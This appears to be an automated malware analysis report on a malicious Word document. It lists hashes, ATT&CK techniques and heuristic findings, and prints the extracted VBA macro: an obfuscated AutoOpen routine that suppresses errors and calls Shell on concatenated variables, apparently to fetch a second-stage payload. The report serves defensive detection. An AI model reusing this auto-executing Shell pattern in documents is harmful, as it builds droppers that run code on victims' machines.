Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3c6ab5879a5400c2…

MALICIOUS

Office (OLE)

73.0 KB First seen: 2019-01-31
MD5: dc8a4c5a5336bb2ea793463a8a75a0e2 SHA-1: c1dadf25eb93905b8620e060a272d5b2866d385d SHA-256: 3c6ab5879a5400c277a443187b53cdc8c8ecae46f9aacf279cd07082eac94f94
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a VBA macro with an AutoOpen subroutine that calls the Shell() function. This function is used to execute arbitrary commands, indicating the document is designed to download and execute a second-stage payload. The macro's obfuscated nature and the direct use of Shell() strongly suggest malicious intent.

Heuristics 5

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 578 bytes
SHA-256: dd8c73a3a4d322f267164981f676f38ff3de10a80e491e4d44394f49dd3160c7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "BEvloVO"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
On _
Error _
Resume _
Next
   Set sjjvvP = CpBTQm
   Set ivURV = QIikbV
   Set OAwRj = wJQzvS
   Set dFMOvc = zmRGRN
   Set kLiCa = DDsRf
Shell iEIhFV + tzofhkzQ + HlJaRhODl + ilEiSEEl + mCztbkMUdYzzO, Format(0)
   Set MziiU = tnimU
   Set UVaKVb = kSOGzO
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.